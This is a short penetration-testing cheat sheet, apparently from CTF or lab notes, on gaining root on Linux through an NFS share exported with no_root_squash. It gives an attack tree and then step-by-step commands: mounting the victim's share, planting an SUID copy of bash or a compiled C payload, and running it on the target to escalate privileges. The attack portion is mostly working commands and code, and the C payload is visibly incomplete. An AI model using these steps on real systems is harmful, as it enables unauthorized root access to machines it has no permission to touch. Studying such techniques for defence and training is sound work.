NFS exploits

Attack tree

1 Become root on Linux via NFS exploits
    1.1 Look for no_root_squash shares
    1.2 Mount share
    1.3 Create a payload
        1.3.1 Bash binary with an SUID bit
        1.3.2 C binary with an SUID bit
    1.4 Execute the payload on the target machine to escalate privileges
    1.5 Unmount the shared directory in the attacker machine

Example: /tmp share

  1. Get information:

$ ps aux | grep nfsd
$ cat /etc/exports

There is a /tmp share with no_root_squash set.

  1. Shares with the no_root_squash option can possibly be modified and executed as root.

  2. On the attacker machine install the NFS client package: sudo apt install nfs-common

  3. On the attacker machine, create a directory to host the NFS share: mkdir /tmp/nfs

  4. With sudo, mount the remote share in the /tmp/nfs directory

sudo mount -o rw,vers=2 <target IP address>:/tmp /tmp/nfs


sudo mount -t nfs <target IP address>:/tmp /tmp/nfs
  1. Payload

Bash binary with an SUID bit:

sudo cp /bin/bash /tmp/nfs/bash && sudo chmod u+s /tmp/nfs/bash

C binary with an SUID bit - you may need to change the /usr/bin/bash to /bin/bash, depending on location of bash in the target machine:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
	setresuid(0, 0, 0);
	return 0;


gcc payload.c -o payload && sudo rm /tmp/nfs/payload 2>/dev/null; sudo cp payload /tmp/nfs

Set de SUID bit:

sudo chmod u+s /tmp/nfs/payload
  1. In the target machine, execute the payload to escalate privileges:

:/tmp$ ./bash -p
# whoami
# exit
:/tmp$ ./payload 
:/tmp# id
uid=0(root) gid=1000(low) ...
  1. Unmount the shared directory in the attacker machine:

sudo umount /tmp/nfs


The NFS configuration file is /etc/exports:

  • no_root_squash: This option basically gives authority to the root user on the client (us, our attacker host) to access files on the NFS server as root. This is bad, as we can create malicious files on the NFS share as the root user.

  • no_all_squash: This is similar to no_root_squash option but applies to non-root users.